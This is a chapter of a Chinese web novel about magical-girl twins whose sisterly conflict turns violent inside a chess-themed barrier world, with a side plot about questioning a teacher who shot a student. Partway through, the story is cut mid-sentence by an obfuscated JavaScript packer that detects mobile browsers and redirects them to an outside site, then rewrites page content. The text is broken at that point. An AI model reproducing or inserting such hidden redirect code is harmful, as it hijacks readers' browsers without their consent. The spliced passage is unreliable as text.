“为什么不问我?”森山寺未央颤抖着问,“为什么不说?” “我没有很想知道。”森山寺未雅说,发自真心地。 “不,你应该想知道才对。”森山寺未央想起了以前,彼此之间也并不是完全坦然的,但却一定会想方设法挖掘对方的秘密。 到底是什么时候开始不再这样了呢?是从她生病了开始吗?还是说她其实真的一直都是这样,做错事让她一直忍耐的人其实是我呢?这样想着的森山寺未央感到恐慌。 “你,你为什么变了呢?”森山寺未央慌忙地问,她急切地需要一个理由。 “…我也不知道,未央。”森山寺未雅说。 不行啊,森山寺未央焦急得近乎眩晕,必须要一个原因才行,必须要有一个确切的原因她才能想办法,事情才能被解决。 “未雅,你病还没好吗?”森山寺未央愈发感到不安,“难道说是新的病症出现了?还是说是有哪里没有被检查出来吗?” “你知道我没病的吧?爸爸妈妈都说过不要提这件事了,你自己不也是这样说的?”森山寺未雅表露烦躁,森山寺未央没办法理解她的烦躁。 “你就是生病了啊!”森山寺未央控制不住声音大吼着反驳,“因为你生病了,你生病了之后一切都变了,爸爸妈妈变得很难过,周围的人变得很奇怪,就连我自己也变得很奇怪了。” 一想到一切有可能回到那段不受控的奇怪气氛中,森山寺未央就感到无比害怕。 “你为什么不能一直像以前那样正常呢?”森山寺未央祈求道。 “…我以前是什么样的?”森山寺未雅不为所动地问。 “像以前那样站在我的身边,指责我,保护我,讨厌我,爱我,替我说话,看着我,注意着我,理解我,学习我。”森山寺未央自己都不知道自己在说什么。 “你也太自我中心了吧?”森山寺未雅觉得肩膀被捏的有点痛,但是又推不开,“如果过去的我是那样的话那就当我长大了吧,我们是双胞胎,我也应该自我中心一点不是吗?” “不是这样的——”森山寺未央大声反驳,她一点没理解森山寺未雅的感情,或者说她根本就没有什么多余的感情可以理解。 “你不在的时候我很害怕啊。”森山寺未央哭着说,就像是她小时候那样,“我们不是一直都在一起的吗?我一个人到底要怎么样才能活下来?” 森山寺未雅没有说话,她一直没有回应过什么,森山寺未央抬头看她的眼睛。 而森山寺未雅也看着她,她的姐妹,同生的另一半。 而此时两人对视,却没有一人能看见自己的影子,就好像—— “难道说那场病你没能痊愈,那场病带走了你,你的一部分再也回不来了吗?”森山寺未央轻声问,“我的姐姐,你真的是我的姐姐吗?” 森山寺未雅不为所动。 “这便是我的全部了,如果你还想看到更多就只能想想过去的事,”森山寺未雅不为所动,“好在你就是那个陪我最久的人不是吗。” 从过去的某一刻开始,她彻底停下了,即使身体前进,灵魂也彻底停驻在了某一个时刻。 她说的每一句话都是发自内心的实话,那作为森山寺未雅的存在,此时确实存在于她的姐妹的眼前,纵使面目全非,那也是森山寺未雅。森山寺未央意识到这一点,却不敢承认。 “我不要这样,我不要这样!”森山寺未央说,“生病了治好不就行了吗?治好了之后你就能变回我的姐姐了,我们就又是以前那样了。” “你就当以前那个我死了不行吗?”森山寺未雅受不了这种死缠烂打,“这件事我道歉,之后会给你赔罪的,怎么都行,别告诉爸爸妈妈就行。” 森山寺未雅看着自己的妹妹表情一寸寸开裂,从一开始打架时的痛苦,到方才的愤怒委屈,再到急迫,然后再是现在,无与伦比的悲伤。她不为所动。 “不是的,你只是生病了,当初也是,现在也是。”森山寺未央痛苦地说,森山寺未雅只是听着,没有反驳也没有应声,她只是觉得重复一件事很麻烦。 这个瞬间仿佛与很久之前的那个瞬间重合了起来,那时她是怎么做的来着? 森山寺未雅因生病而住院,已经是一年半以前的事情了。 在那之后森山寺未央就开始独自上学,原本熟悉的学校在身边少了一个人之后就大变样了,明明她们两个人是一样的才对,为什么两个一样的人少了一个之后会变那么多呢?森山寺未央不理解,她从来都不。 森山寺未央不理解那些人说的话到底该如何回应,应该对安慰表达愤怒吗?应该对讽刺冷眼相对吗?笑着的人到底是真的在笑还是想看见她哭呢? 搞不懂,森山寺未央一点都搞不懂,班主任和父母也无法解答她的疑问,她们也变了好多,这个世界从她的姐姐消失之后让她开始感到害怕。 森山寺未央意识到了一点,所以她们,森山寺未央和森山寺未雅,就应该一直在一起,哪怕仅仅是为了让森山寺未央能走向未来,森山寺未雅也必须陪在她的身边才对。若是森山寺未雅不在的话,那森山寺未央也一定没办法独自走下去。 那时从病房的门外看望森山寺未雅的森山寺未央是这样想的。她坐在病房外等了好久,一天又一天,一周又一周,一个月又一个月。 那时森山寺未央甚至没办法与自己的爸爸妈妈好好沟通,就好像她也跟着一起生病了一样,久而久之她也没有去上学了。 但是她自己心里清楚,她自己并没有生病,但她的姐姐,她的半身就在病房里,那她也可以装作是哪也去不了的样子停留在这里。 森山寺未央现在看来这样的想法是自私的,但那时她除此之外别无它法,她太害怕了。 但是她没办法在这里坐一辈子,森山寺未雅却真的有可能在病房里待一辈子,为了杜绝这个可能性,森山寺未央寻求了许多方式。 “我,我太想让你变回来了,就想了点特殊的办法。”森山寺未央心一横,准备将一切全盘托出。 或许早就该这样做了,森山寺未央心想。 “听我说,我其实是魔法少女。”森山寺未央说起这里也顾不上不好意思了,“一年前我觉得你的精神混乱是能被平复的,于是借助了特殊的手段,将你的精神作为定点使用了精神魔法,那魔法非常奏效,你迅速地就恢复了正常,且再也没有出现过问题。”森山寺未央急切地解释着,而森山寺未雅只是莫名其妙地看着她。 “你在说什么?”森山寺未雅奇怪地问,“你精神出问题了吗?” “我知道突然这样说这很奇怪!但我每次一个人行动都是出门狩猎魔物,魔物放着不管就会袭击普通人,只有我们这种魔法少女才有办法解决。”森山寺未央解释道,“我并不是在疏远你,我只是害怕你再次出现问题。” 解释这些有没有用森山寺未央不知道,但无论如何先做了再说,之前她就是这样行动的。 “你们?你们彼此都这样想吗?那你们才应该去精神病院看看。”森山寺未雅皱眉。 森山寺未雅对这个对话感到无言相对,只是觉得说话的那个人太认真了反而显得有些滑稽。 “你因为那种事情就要杀了我更像个精神病吧!”森山寺未央怒道,“为什么你不能好好地听我说话,相信我好吗?我不会害你的,真的!” “按你的说法我不是本来就有精神疾病吗?你到底是想说什么?说真的能结束这些了吗,就当什么事都没有发生过不行吗,就像之前那样?”森山寺未雅提议说。 就像什么事都没有发生过,就像之前那样,这样的提议深深戳中了森山寺未央的心。但很快她意识到即使这样那森山寺未雅的正常也不过是装出来的而已,本质上还是一个陌生人。 “我不要那样!”森山寺未央用力摇头,“我要我的姐姐回来,你就是生病了而已!” “你才生病了呢!”森山寺未雅想生气都生不出来,“你要你姐姐关我什么事啊?自说自话的人是你啊能不能放我走了?” “你就是我姐姐啊?”森山寺未央觉得这简直就没完了,“你让我再试试看,再用魔法试试看,很快就能被治好的,一定。” “不要,我现在正常得很,你才是不正常的那个。”森山寺未雅拒绝。 “不是的,是因为我使用了魔法你的病才会痊愈的,但也可能是因为魔法你才会变得如此奇怪,未雅,你想变回原来的样子吗?”森山寺未央悲伤地,小心翼翼地问。 若是森山寺未雅说不的话,那森山寺未央也会强行那样做的就是了,她甚至不愿意看到自己姐姐拒绝她。 “我是什么样子为什么是你决定的啊,而且你为什么还在说魔法什么的。”森山寺未雅觉得这人简直是无法理喻。 “魔法是存在的,”森山寺未央说,“我的姐姐也一定存在着。” 话说到这里,森山寺未央下定决心要用魔法让森山寺未雅恢复正常,她从悲伤和愤怒之中回过神来,心中只剩下了决意。 “那就证明给我看,魔法随便哪个,你现在用给我看。”森山寺未雅说。 “你看着我的话我没法用。”森山寺未央苦着脸说。 “那你是想让我像小孩子一样蒙住眼睛或者转过身去吗?那算什么?”森山寺未雅笑了。 “不是的,你不信任魔法的存在,也不能使用魔法,魔法对你来说就是虚构的东西,你坚信魔法不存在,那我就没法在你的视线下使用魔法。”森山寺未央解释说。 “你傻了吗?这和没说有什么区别?”森山寺未雅说。 森山寺未央深吸一口气,她意识到如果想说服自己姐姐那就只能使用自己的结界,哪怕是普通人进入心像空间后也能看到魔法的存在,从而不得不相信魔法是存在的。 而如果想让森山寺未雅意识到自己确实出现了不对劲的地方,并且接受她的做法的话,向她证明魔法的存在便是必要的,她本被悲伤笼罩了的心逐渐变得坚定。 “我有办法让你承认魔法的存在。”森山寺未央擦了擦脸,她退后一步。 “那就向我证明,就现在,别让我做些什么闭上眼的举动。”森山寺未雅说。 “你看到那个角落了吗?一会我先进去,你倒数十秒之后也走到那里去,我就能向你证明魔法是存在的。”森山寺未央说。 停车场一侧的角落里放着锁自行车的区域,是一个小型的视线死角。 “可以。”森山寺未雅点头,准备对方过去后自己转身就走,下午的课要开始了。 “未雅,你记得小时候我们也是这样,其实那个时候我们都知道彼此之间只是在想办法捉弄对方,却也总是主动上钩。”森山寺未央说,“你记得那时我们为什么这样做吗?” “为什么?”森山寺未雅怎么都想不起来当时的心情了。 “一会说不定就知道了。”森山寺未央说着,转身走向了那个角落。 森山寺未央无言地看着对方的背影消失,十秒后,她跟了过去。 犬山晓和艾克里普抵达了森山寺未央所说的地方,隔很远就察觉到了她的卡牌散发的魔力气息,以及那一地狼藉,以及少数子弹的痕迹。 “她疯了吗?”犬山晓不可置信地看着弹痕,“这可是学校里面,这里可能有摄像头诶。” “这里摄像头能拍到吗?”艾克里普不确定地问。 “肯定可以。”犬山晓皱着眉说,“但是一般这种情况下,除非西西路她真的不想在这个社会上活下去了,那她应该是有处理这方面问题的手段的。” 艾克里普郑重地点了点头,二人先离开找了个角落使用隐身魔法,随后再次来到西西路的办公室附近。 【这个应该是未央的手下。】犬山晓看了看那缩在门缝旁边的黑影,它因为和召唤者距离远以及魔力消耗已经不成人形了。 【没错。】艾克里普让黑影回归到其主人身边,担心地问,【刚才未央和未雅打起来是为什么呢?而且话都没说一句就打起来了。】 【可能亲姐妹之间有矛盾就是这样的?】犬山晓不确定地说,【如果我们回去之后她们还没和好的话再说吧,我也不太清楚是发生了什么事。】 【说的也是。】艾克里普点了点头,她们二人对于家人的概念并不理解,不太适合讨论这个话题。 办公室内也同样一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713601|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狼藉,二人察觉到西西路已经醒过来了,不过大概是因为伤势严重,她正靠着墙倒吸气。 【办公室内倒是没有什么摄像头,不过电脑可能会有。】犬山晓提醒说。 【那我屏蔽这里的信号吧,既然未央她有事,那我们来试试看能不能从她嘴里问出点什么。】艾克里普点了点头,抬手施法,一阵肉眼不可察觉的波纹散开,此处空间内的波动被屏蔽了。 二人进入房间,本来靠在墙上喘气的西西路明显被吓了一大跳,连带着受伤的部位又被拉扯到了,疼得她直抽气。 看见她这幅模样,犬山晓心中感觉有些奇怪,她以为西西路能那样轻而易举地做出杀人的行为,本身会是个更加有耐心,更加心思深沉的人。 “你们,”西西路眯起眼睛看着二人的脸,“你们是古河班上的学生,森山寺让你们来找我的?她班里还真是人才辈出啊。” “这话还轮不到你说我们。”犬山晓想了想说,“森山寺是指,森山寺未央?” “…哼。”西西路往后一靠,“谁知道呢,我可分不清。” 【我们要问她什么来着。】犬山晓问艾克里普。 【咦?这个。】艾克里普紧急思考,过了一会她回答说,【要不先问问刚才出什么事了吧,还有,她被派来学校的目的是什么,学校里有没有同伙,还有Evo的那些人造魔物是怎么回事。】 【好。】犬山晓倍感压力。 “咳咳,”她清了清嗓子,“刚才是怎么回事?” “哈?”西西路一脸莫名其妙,“你问我这个干什么啊,说真的你们两个来干什么的啊?” 【搞,搞砸了。】犬山晓大受打击,【对不起啊我再试试看。】 【加油!】艾克里普鼓励道。 “我们来问你问题的,”犬山晓面色冷峻,“你开枪射杀天生目白的事情我们已经调查清楚了,你这么做是为什么?谁指派你这么做的?” 【哦哦!很流畅!】艾克里普夸赞道。 犬山晓因为不好意思而移开了盯着西西路的视线。 “…你们是什么校内侦探社团吗?不过调查游戏到这里也就结束了。”西西路的脸因为疼痛和疑惑扭曲,“不过既然这样那我就再说一遍,我做出这些事没有任何理由,你们问错人了。” 她的脸色坦然,似乎并没有将二人放在眼里的意思。 “即使我们将你交给警察?”犬山晓疑惑地问。 “警察?”西西路冷笑一声,“你要是知道这个城市里的公共安全都是谁在负责就说不出这种话来了同学。” 这有恃无恐的语气让犬山晓有些生气。 【我们将她交给警察是因为想让她被法律审判,但如果法律没办法制裁她怎么办?】犬山晓有些担心。 【也不能总指望人类的法律,别担心,我有办法的。】艾克里普安慰说,【只要能让她自己说出一切就好,这才是我们真正需要的。】 “森山寺叫你们来是来抓我的吗?”西西路挑了挑眉,“你们知道她想做什么吗?” “你想说什么?”艾克里普皱眉问道,她并没有看向西西路,“如果你想说什么,拜托你使用名字的全称。” “而且无论你说什么我们都不会原谅你的,在去警察局之前把想说的话告诉我们吧。”犬山晓蹲下来说,“你看上去还挺怕死的,为什么不说呢?” “…至少叫我一声老师啊,”西西路被这两人的态度气到,“算了,你们把我交给警察是没用的,最好就当这件事没发生过,知道了吗?” “怎么可能?”犬山晓皱眉说,“你知道你做的事情是杀人吗?” “重复这一点是没用的,你当我不清楚吗?”西西路嗤笑一声,“我在校内持枪杀人,杀死的是天生目家里的孩子,我当然清楚。” 犬山晓察觉到她话语间的威胁,却不理解对方是为什么说这些。 【不要被她吓到,晓。】艾克里普说,【正常学生是会被杀人者恐吓,甚至有可能崇拜杀人者的,更何况天生目同学家里势力不小,杀死她的人有恃无恐这一点本身就是一种威胁。】 【原来是这样!】犬山晓恍然大悟,【别担心,我没有被吓到。】 但很快她意识到这一点其实和青少年以自己抽烟为帅气卖点一样,装模作样十分可笑。 “你重复这一点也没有用啊。”犬山晓说道。 “你们两个,在校内不过是最普通的那一类学生了。”西西路冷眼道,“这里一会就会有人来处理,忘掉这件事然后假装什么都没发生过比较好,不对,你们已经没办法彻底摆脱这件事了吧。” 说完,她满怀恶意地笑了起来,这让犬山晓愈发觉得这个人心理不成熟了。 “有人来处理,是指让你杀害天生目白的人吗?”犬山晓追问道,“学校里还有谁和你一伙的,之前的魔物伤人事件你了解多少。” “这不是很能干嘛!”西西路嘲讽道,“不过知道的越多死得越快就是了,哈哈哈——” 【…她不会说的,这件事相关的她都不会说,我看出来她确实有恃无恐。】艾克里普叹了口气,【问问别的事情吧。】 【等等,】犬山晓想了想,【我有一个比较疑惑的点,让我问一下。】 “你为什么确定自己杀害天生目白不会有事呢?”犬山晓问道,她并不了解□□,但也清楚□□做起事来比普通警察更加不留情面。 “哈哈哈哈哈哈——”西西路却是像听见了笑话一般笑了起来。 “说话。”犬山晓踩住她受伤的脚踝碾压。 “痛——痛痛痛,等一下,喂,我说等一下!”西西路笑容戛然而止,取而代之的是因为疼痛而发出的呼喊,“行了,我说行了,你给我等着,哎呀我说我说——” 犬山晓挪开了脚。 “呼——”西西路深呼吸,“日之森校董会结党多数与天生目家族交好,她们家就是干这个的,而我,就是天生目家族帮忙加塞进来当老师的,你以为这里职位这么好拿?” 这个消息让二人愣住了。 “…你也是天生目家的?”犬山晓不可置信地问。 “瞎说什么呢?”西西路却忽然生气了,“天生目算什么东西,我可是——”下一刻她就停住了,甚至整个人冷静了下来。 “天生目家是不错的马桶搋子。”她最后只是这样冷笑了一下。 犬山晓忽然就觉得天生目白很可怜,艾克里普也同样叹了口气。 “你并不比她高尚,在我眼里你们是相同的,而她本来拥有自己的未来。”艾克里普笃定地说,“你有罪,但人类的法律会制裁你,因为你只是普通人。” “你又算什么东西?!”西西路愤怒地质问道,她的声音低沉嘶哑,“我哪怕只是一块碎石也比你们有价值得多,你们甚至连被踢走的价值都没有!” “不,你没有资格评价我们。”艾克里普说,没有去看西西路。 “要是是森山寺的话那还有资格说这句话,你算什么?”西西路嗤笑一声,“她们两个才算是有价值的存在,不过和你们说你们也不会理解的!” “那你呢?你的价值如果只有一块碎石那么多的话,你又有什么资格谈论她们,谈论我们呢?”犬山晓质问道,“而且人的价值无法以物质评判,这我可是知道的!” “…随便你怎么说。”西西路冷哼一声,没有再开口了。 【所以她说的是未央和未雅两个人吗?】艾克里普感觉有些奇怪。 【应该是的,但是这不就更奇怪了吗?】犬山晓疑惑道。 “森山寺姐妹都是你的目标吗?”艾克里普看着西西路问道。 “我可不配说她们两个是我的目标。”西西路冷笑着说。 【那就是确实如此,咦?难道是我看错了什么吗?】艾克里普有些犹疑。 【怎么了吗?】犬山晓不理解这个疑问。 【没什么。】艾克里普的回应带着犹豫和隐秘的期待,【说不定确实有些我不知情的东西,不过现在重要的还是处理她的问题。】 【没错,按她的说法,把她扔到警察局也没办法吧。】犬山晓感觉有些头疼。 【能让她在公众前开口诉说自己的所作所为就好。】艾克里普说。 【有什么魔法能控制她开口说实话吗?】犬山晓好奇问道。 【干涉精神的魔法可不能用在人身上。】艾克里普说,【不过只是达成类似的目标的话,以其它魔法就可以做到,比如,不说实话就感受被针扎到的疼痛,这样的魔法就只是普通的感官魔法了。】 【原来是,这样。】犬山晓若有所思地点了点头,觉得有哪里不对但又说不出来。 【总之先控制住她吧,我们回去看看,不知道她们和好了没有。】艾克里普叹了口气。 28.···— 前脚踏进停车场死角的瞬间,森山寺未雅并没有看到自己本应该看到的那个锁自行车的长杆和挂满维修工具的工具桩,有谁将另一副画面摆在了她的眼前,对未知之物袭来的条件反射下,她闭上了眼睛。 再次睁开眼,她发觉自己脚下的石砖不知何时被替换为了光滑的大理石,坚硬而冷。她的左右两边是墙壁,前方有路,但路的尽头又是一面墙,天上看不到云或太阳,但有日光。两边的墙壁上挂着相连的画框,其中并无任何画面存在。 没有画框存在的那一边墙面再往上有着白色的围墙存在,高到有些近视的森山寺未雅看不见边缘处的细节,森山寺未雅明白那里不会是出口。 于是森山寺未雅抬头寻找出路,墙和日之森的学校围墙差不多高,并且那如同画框一样的相连之物功能似乎与爬梯相同,于是她抬手抓着画框边缘往上爬,随着她的海拔一点点攀升,她逐渐获得了开阔的视野。 先出现在眼前的是一些黑色的物体,她再往上爬一节,那黑色的物体拥有了完整实体,那是多个黑色雕像,她再往上爬一节,远处共15座黑色雕像矗立在地面上,她再往上爬一节,终于是看到了地面上的正方形黑白格子花纹,每个格子大小约3mx3m。 直到站在那格纹之上,森山寺未雅才反应过来她最开始看到的那白色围墙是什么,那是一排又一排的座位,螺旋向上,包围了她所站立的区域。 那里不会有出口,森山寺未雅确认了这一点之后回头看向远处那黑色雕像所在的位置,两排反射着日光的黑色雕像静默整齐地排列在她所处位置的最彼端,沉重而造型各异。 那是国际象棋棋子造型,但本该公平的相对着的,也就是她所站着的区域空空如也,这是一副只有一半区域被摆上了棋子的象棋棋盘,黑白格纹路清晰分明,但也就仅此而已了。 停车场的角落里不可能有这样一个地方,那这就绝对是魔法了吗?森山寺未雅认为实则不然,也可能是全息投影或者致幻药的效果,但她很快意识到自己其实不在乎这到底是什么,她想要离开这个未知的环境。 “未雅,这里就是我的心像空间。”森山寺未央从黑色棋子后方跳出,快速跑进并停在森山寺未雅的身前,她的身上是她的魔法少女装束,笑容和语气同样自信。 看着眼前的一切,森山寺未雅莫名有一种想生气的感觉,但这也仅仅是一瞬间。那感情消失得比呼吸还自然无缝,甚至已成了她的习惯的一部分。 “怎么样,这下你总不能再说魔法是不存在的了吧?”森山寺未央并没有急着炫耀自己的造物,她急迫地确认森山寺未雅的表情,并遗憾的是那并没有产生波动。 不过既然已经到了这一步了,那就必须进行下一步,森山寺未央下定决心。 “好的,我承认了,”森山寺未雅点头,“那么我可以走了吧?” 而面对这个问题,森山寺未央先是沉默了一会,随后,她下定了决心看向自己的姐姐。 “不,你不能离开这里,未雅。我现在很确定,你脑内的精神魔法出现了问题,所以你才是这幅模样。”森山寺未央的眼睛隐藏在帽子下方,但她有在好好保持笑容。 “那你打算怎么办?”森山寺未雅问道。 “我要去找出解决的办法,我会治好你的,你会变回正常的样子。”森山寺未央语气坚定,但依旧没有看向自己的姐姐,“我会想办法的,交给我吧。” “我脑子没问题,不过你找你的我不会管你,现在可以让我出去了吗?”森山寺未雅面无表情地问道。 听到这个回应,森山寺未央抿了抿嘴,但很快就恢复了笑容。 “在问题解决之前我不会让你出去,放心,很快的。”森山寺未央说,“相信我吧,我有经验了。” 让森山寺未雅先待在心像空间里,这是她想出的一个两全之策,即可以保证病情若是恶化了那么作为结界控制者的她能第一时间察觉。同时,在她找出解决办法修复精神魔法的问题之前,森山寺未雅不会有机会再次做出今天这样的事。 做出这样,她不想看到的事。 森山寺未雅沉默了,她环视四周,没有找到显眼的出口,只有巨大的棋子雕像和如山峦一般围着脚下棋盘的观众席。森山寺未央一看她这幅样子就知道她在想些什么。 无非是“你不让我走那我就自己走”这样的事情,她心想,这是正常的一个独立个体该会有的想法。但偏偏森山寺未央就是在为此感到生气,双胞胎,就不该有“自己”这个概念不是吗? “生活用品什么的我会给你送过来的,抱歉,我可能会遇到危险,可能会牵连到你,我不想你受伤。”森山寺未央勉强保持笑容安慰着解释道。 森山寺未雅依旧不言语,她在思考,很快她便明白了些什么,抬起头来看向远处。雕像沉默对视,等候命令。 “原来是这样。”她说。 “没错,你能理解我就好。”森山寺未央以为对方明白了自己的意思,感到有些欣慰,但很快,她发现心像空间内有异动。 那动静并非是外界,而是来自她的身后,森山寺未央愣了愣,不可置信地回过头,发现自己设置的魔物卡牌棋子被发动了。 森山寺未央的心像空间是一副只有一边有十五枚棋子摆放好的棋盘,这是她平衡魔力消耗的做法。她大部分魔物手下卡牌被制作成了结界本身,部分随身携带,最后也是最好用的一部分作为棋子石像放在心像空间内,只有在有魔物进入时才被选择性激活,平时不耗费魔力也不会被取出。 而此时,以往需要森山寺未央注入魔法才能激活的棋子们在她没下达命令的情况下动了起来,同时她感受到了自身的魔力正在加速消耗。恍惚间她察觉到了一个可能性,并不可置信地看向眼前的人,却发现森山寺未雅伸出手,似乎在控制着什么,不是似乎,她就是。 “我就说有种连在一起的感觉,原来真的能操控啊。”森山寺未雅平静地说。 “未雅?”森山寺未央马上明白过来发生了什么,或许是因为她的特征凭依在森山寺未雅的精神之内,或许是因为她们是双胞胎精神特别同步,或许是因为其它什么原因—— ——总之,现在森山寺未雅也能控制森山寺未央设置的心像空间了。 察觉到事情失去控制后森山寺未央飞快地行动了起来,她抬手控制了剩下的一些棋子,加剧消耗的魔力令她稍微感到力不从心,以往对付魔物顶多只需要动用两三枚棋子,现在15枚几乎一齐行动,魔力被消耗的疲惫迅速爬上了她的神经。 疲惫像是负面状态加成魔法,森山寺未央的腿跳不动了,手不稳了,脑子也一起乱了起来,呼吸更是成为了非常有存在感的剧烈运动。 先避开攻击,将棋子一个个收回到卡牌内。森山寺未央这样想着,身体却跟不上行动,一时不察,象征着车的棋子如闪现般撞了上来,将她的身体撞飞三米,同时另一匹被控制的兵上前,举起剑就要刺中她,她一个翻身想站起来,远处的象使用远程轰击,又将她击倒在地。 好在这些棋子还处于变形为魔物前的雕像状态,虽然能够行动但魔法使用有限,虽然能造成攻击但也仅限于物理攻击,消耗的魔法也比真正火力全开的时候少了些,能起到的作用也少了不少,她被杀掉的概率也少了不少。 “接下来这样走。”森山寺未雅指挥着,她并没有对一切异常的情况感到害怕,也没有感受到兴奋。 她以前是这样的吗?森山寺未央不由得怀疑道,她这才发现自己似乎是不了解自己的姐姐的,她一直以来的了解都基于表象,而那些表现多数是可以刻意为之的。那或许也是自己想要的,森山寺未央意识到这一点,意识到自己理所当然的索取。 我真的了解她,我的双胞胎姐姐,我身边最亲近的家人吗?森山寺未央看着袭来的士兵棋子,内心产生了困惑和恐惧。比起被攻击的疼痛,她发觉此时此刻的自己更加害怕“我不了解她”这个事实。 因为,若是森山寺未央不了解森山寺未雅的话,那她以往做的那些事就真的只是她自己的主观臆断所为了。森山寺未雅不但不需要听话,甚至可以责怪她自作主张。 森山寺未雅很快就明白了游戏的规则,并快速熟悉了起来,比起一边耗费魔力一边顾及对方人生安全的森山寺未央,她就显得理智且肆无忌惮的多。而且她发觉自己对于结界内的一切都熟悉得非常快,无论是棋子的用法也好,棋盘的限制也好,她只需要看一眼就能发出“果然如此”的感想。 这样的熟悉感却让她困惑又生气,虽然只是一瞬间的事情,若是只要呼吸就能缓解的话,那只要一直呼吸就好了,不需要治病。 于是很快,森山寺未央的魔力就要被耗尽了,那些棋子在她的魔力消失之后化为卡牌飘落在地上,心像空间开始扭曲,棋盘开裂,再这样下去就要因为她的魔力不足而崩溃了。 但即使是这样,森山寺未央依旧没有放攻击她的人离开自己的结界。这里的隐藏游戏结局通关方式她不会说,那么就没人能找得到。 浑身是伤无比虚弱的森山寺未央倒在地上,用手杖支撑自己的身体,她看着依然面无表情站在远处的森山寺未雅,心里涌起了一阵无力。 森山寺未央到目前为止的人生里没有出现过“努力之后得不到结果”的事情,一直以来她都认为自己是还没有达到目标或者是还没有找对方法,但无论如何,最终的结果都会如她所愿的。所以她从未考虑过不如愿的情况,不,或许考虑过几次,但也就是些没有用的方法。比如抱着自己姐姐的腿哭,比如蹲在角落里不说话。 但是现在她所面对的就并不是如此善解人意的情况了,森山寺未央看着森山寺未雅,心想,她怎么能这样呢?明明她都这样努力了,也是为了她着想,为何她能这样冷酷无情呢? “你也差不多该认清现状了吧?”森山寺未雅看着狼狈不堪的森山寺未央说,“你无法困住我的,放我出去,然后假装一切都没有发生过,然后我们就能恢复以前的生活了不是吗?” “…那以后呢?”森山寺未央虚弱地问。 “什么以后?以后也一直这样啊?”森山寺未雅觉得这个问题莫名其妙,“去上学,双休日回家,如果你能撤回让我写谱子的请求就更好了。” “之前你和西西路老师商量的时候,怎么没有想过这样的以后?”森山寺未央质问。 “…没来得及对合作伙伴进行能力调查确实是我的问题,不过现在结果是好的,你也是这样想的不是吗?”森山寺未雅太在意。 “才不是这样的!”森山寺未央大声反驳,“我是为了我们家,为了你才这样做的,你可是想杀了我!你有想过我要是真的,真的死了的话——” 话没说完她就泣不成声了。 “你死了那又怎么样呢?”森山寺未雅却是真情实意地疑惑了,“先不说你这不是还活着吗?现在你放我离开,我可以承诺以后再也不做会伤害你的性命的事情,这样可以了吗?” 但这样的话反而是更伤人心的,森山寺未央没法理解对方的疑惑。 “不是这样的,”森山寺未央哭着摇头,“不是这样的,未雅,如果你死了的话我一个人没办法活下去的,为何我死去了你就能这样无所谓呢?不是这样的,你只是生病了。你不会做出这种事情,也不该这样想的,爸爸妈妈也会伤心的不是吗?” 森山寺未央甚至没办法在慌乱中好好组织语言,她自知如此,但没办法。 “…你又不是我,怎么知道我是怎么想的。我用不着你担心,也不需要你治好我不存在的病。”森山寺未雅对发言中的理所当然感到疑惑,“爸爸妈妈那边确实需要想想办法,不过死一个至少还有一个不是吗?双胞胎在灾后体恤这一点上真是方便。” 也就是这里没别人了,放外面她顾及社会影响根本不会说出这种话来吧,森山寺未雅这样想着,却也并没有那么确定。 “为什么,你会变成这样呢?”森山寺未央看着自己的姐姐,却觉得站在那里无动于衷的是一个与自己姐姐有相似外形的怪物。怪物与人类没法沟通,可是森山寺未雅不该是怪物,至少曾经不是。 难道说是因为我才会变成这样的吗?森山寺未央无助地想,难道是因为我在不清不楚的情况下做了那种事情,我的姐姐才会变成如今这幅样子,变得就连自己的妹妹也不在乎了吗?而我也不够强大,总是自以为是地什么也不说,忽略了她的变化。 意识到这一点的森山寺未央趴在地上难以抑制地抽泣了起来,不仅为自己,也为变成这样的自己的姐姐。疲惫与悲伤让理智断了线,她没有再试图思考,只是表达自己。 森山寺未雅一步步走向森山寺未央,看着狼狈不堪的妹妹,只是在想对方死了之后自己就能离开了吧。 “未雅,”森山寺未央低着头,虚弱地说,“对不起。” “什么?”森山寺未雅感到十分荒谬,她本以为自森山寺未央从西西路那里生还之后二人的关系就是敌对的了,这份歉意来得莫名其妙。但很快,她就不在乎对方的语言是否合理了。 森山寺未雅无法理解对方为何在对自己道歉,所以她推测对方道歉的对象并非是她本人。 她没有话可以说,连“没关系”都说不出口,她在等森山寺未央死去。等这个存在死去之后一切都会回到正轨上,这个结界也好,那个谱曲的任务也好,通通会随着这个存在的生命一同被销毁,而她要做的也就只有想办法安慰一下正轨上的人不要太伤心了,如果太伤心的话,她们或许也会脱离正轨,那么那时,她就不得不做更多的事情了。 好麻烦,森山寺未雅忍不住对这样的未来感到无趣。 而森山寺未央也明白自己魔力耗尽之后就会死去了。她感到恐慌,焦躁,委屈,悲伤,但更多的是对自己所作所为的愧疚,以及对曾经的回忆的怀念。怀念转瞬间又带着恐惧再次光临,不仅仅是因为恐惧回不去曾经,也有恐惧曾经。但与此同时,她也看不到未来了。 死亡与这些相比又如何呢?森山寺未央没尝试过死亡,却深知那些情绪的恐怖,那是她真正害怕的东西,是森山寺未雅一直替她挡下的东西,所以如果森山寺未雅不在,那么,她就要自己去面对那些东西了。 与其回到那样的过去,那还不如去死,森山寺未央这样想着,却没能制止眼泪总数量的增加。死的分量如何能分轻重呢,森山寺未央此生面对过的最大的死也不过是老家神社里的葬礼,所有人都安静,她感受不到安静之下的情绪,所以,死是轻飘飘的。 那就死吧,森山寺未央想起自己的爸爸妈妈,想到自己的死,想到自己死后被独留的姐姐,又担心又害怕,于是,眼泪更多了。她许久没流过这么多眼泪,也许久没有人为她擦去眼泪了。 此时,由于森山寺未央的魔力所剩无几,就连森山寺未雅精神内的限制魔法都不似以往那样起作用了,有红灯隐隐亮起,驱散了阴黑的雨夜雾气。 此时,看见森山寺未央流泪的模样,森山寺未雅忽然感同身受地悲伤了起来,她对这种久违的感情感到手足无措,她不明白为何明明哭泣的是森山寺未央,她却会感到痛等的悲伤。她忽然就着急了起来,并且意识到自己无法做到就这样看着对方死去。 此时,她对于之前自己的想法和言行感受到了恐惧。 